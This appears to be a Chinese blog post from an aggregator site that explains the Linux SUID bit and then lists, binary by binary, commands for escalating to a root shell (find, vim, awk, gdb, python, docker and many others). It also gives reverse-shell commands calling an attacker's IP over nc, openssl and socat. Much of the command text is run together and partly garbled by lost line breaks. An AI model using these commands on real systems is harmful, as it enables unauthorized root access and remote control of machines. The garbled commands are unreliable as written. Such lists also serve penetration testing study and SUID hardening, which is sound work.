龙空技术网

Linux系统SUID提权技巧总结分享-最全没有之一

墨客moke 247

前言:

此时你们对“opensslphp”大约比较关注,各位老铁们都需要了解一些“opensslphp”的相关内容。那么小编同时在网络上搜集了一些有关“opensslphp””的相关文章,希望咱们能喜欢,小伙伴们快快来学习一下吧!

Linux系统SUID提权

今天给大家分享的是SUID提权,也是linux中常用的提权方法,那SUID到底是什么,又是如何提权的。

SUID概念

SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义,在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件XINO,其属主为root,当我们通过非root用户登录时,如果XINO设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。

利用此特性,我们可通过SUID进行提权

设置SUID权限命令:

chmod u+s filename 设置SUID位chmod u-s filename 去掉SUID设置

提权命令

nmap vimfindbashmorelessnanocpawknicedockerenvexpectflockftpgdbgimpgitioniceipkshlogsavemakemanopensslphppythonrpmrsyncrvimsetarchsocatsshstracestdbuftasksettclshtimetimeoutwatchxargszsh
find 使用方法

如果find 以SUID权限运行,所有通过find 执行的命令都会以root 权限运行

find / -user root -perm -4000 print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null find . -exec whoamifind / -user root -perm -4000 -exec ls -ldb {} ;cd /tmp;touch xxx 随便创建一个文件可以在tmp目录下find xxx -exec whoami ;find xxx -exec /bin/sh ; 利用find得到一个root权限的shellfind xxx -exec nc -lvp 1234 -e /bin/sh ;利用nc反弹一个root权限的shell
vim 使用方法

vim作为一款linux下的文件编辑器,当以SUID运行的话,它会继承root用户的权限:可以读取系统中所有的文件

vim/vi# Press ESC key:set shell=/bin/sh:shell
msf 中也有相关的模块
msf6> search exploit/unix/local/setuid_nmap
bash
bash -p># id
less/more
less /etc/passwd!/bin/sh
nano编辑器提权

nano是Unix和类Unix系统中的一个文本编辑器,我们也可以利用它来提权:

nanoCtrl + RCtrl + X即可进入命令行:set shell=/bin/sh
ed提权

我们将利用ed命令执行提权操作。为此,我们需要设置具有管理权限的ed command lab。然后,我们将查看获取sudo权限后对它的影响,以及我们如何更多地将其用于提权。

test All=(root) NOPASSWD: /bin/edssh test@192.168.1.31sudo -lsudo ed
awk提权

AWK, 数据过滤工具 (类似于grep),属数据处理引擎,基于模式匹配检查输入文本,逐行处理并输出。我们可以通过以下方式进行命令执行:

awk 'BEGIN {system("whoami")}'
nice

以更改过的优先序来执行程式, 简单来说就是修改程序的优先级,输入下面的命令进行提权:

nice /bin/sh -p

docker

输入下面的命令进行提权:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh
env命令提权

输入下面的命令进行提权:

env /bin/sh -p
expect

输入下面的命令进行提权:

expect -c 'spawn /bin/sh -p;interact'
flock

输入下面的命令进行提权:

flock -u / /bin/sh -p
ftp

输入下面的命令进行提权:

ftp!/bin/sh -p
gdb

输入下面的命令进行提权:

gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
gimp

输入下面的命令进行提权:

gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.execl("/bin/sh", "sh", "-p")'
git
git help status  //在底行输入“!/bin/sh -p”
ionice
ionice /bin/sh -p
ip
ip netns add fooip netns exec foo /bin/sh -pip netns delete foo
ksh
ksh -p
logsave
logsave /dev/null /bin/sh -i -p
make
COMMAND='/bin/sh -p'make -s --eval=$'x:\n\t-'"$COMMAND"
man
man man  //在底行输入"!/bin/sh -p"
openssl
首先在攻击者的机器上运行下面的命令以接收连接:openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodesopenssl s_server -quiet -key key.pem -cert cert.pem -port 12345之后在CentOS服务器上执行下面的命令:RHOST=192.168.1.6RPORT=12345mkfifo /tmp/s; /bin/sh -p -i < /tmp/s 2>&1 | openssl s_client -quiet -no_ign_eof -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s
php
CMD="/bin/sh"php -r "pcntl_exec('/bin/sh', ['-p']);"
python
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
rpm
rpm --eval '%{lua:os.execute("/bin/sh -p")}'
rsync
rsync -e 'sh -p -c "sh -p 0<&2 1>&2"' 127.0.0.1:/dev/null
rvim
rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
setarch
setarch $(arch) /bin/sh -p
socat
攻击者首先在自己的计算机启动对TCP 8888端口的监听socat file:'/dev/tty',raw,echo=0 tcp-listen:8888服务器通过socat发起连接:socat tcp-connect:192.168.1.6:8888 exec:'/bin/sh -p',pty,stderr攻击者得到shell:
ssh
ssh -o ProxyCommand=';sh -p 0<&2 1>&2' x
strace
strace -o /dev/null /bin/sh -p
stdbuf
stdbuf -i0 /bin/sh -p
taskset
taskset 1 /bin/sh -p
tclsh
tclshexec /bin/sh -p <@stdin >@stdout 2>@stderr
time
time /bin/sh -p
timeout
timeout 7d /bin/sh -p
watch
watch -x sh -c 'reset; exec sh -p 1>&0 2>&0'无法显示执行的命令,但是可以看到执行结果。提权成功,得到了root shell。
xargs
xargs -a /dev/null sh -p
zsh
zsh

标签: #opensslphp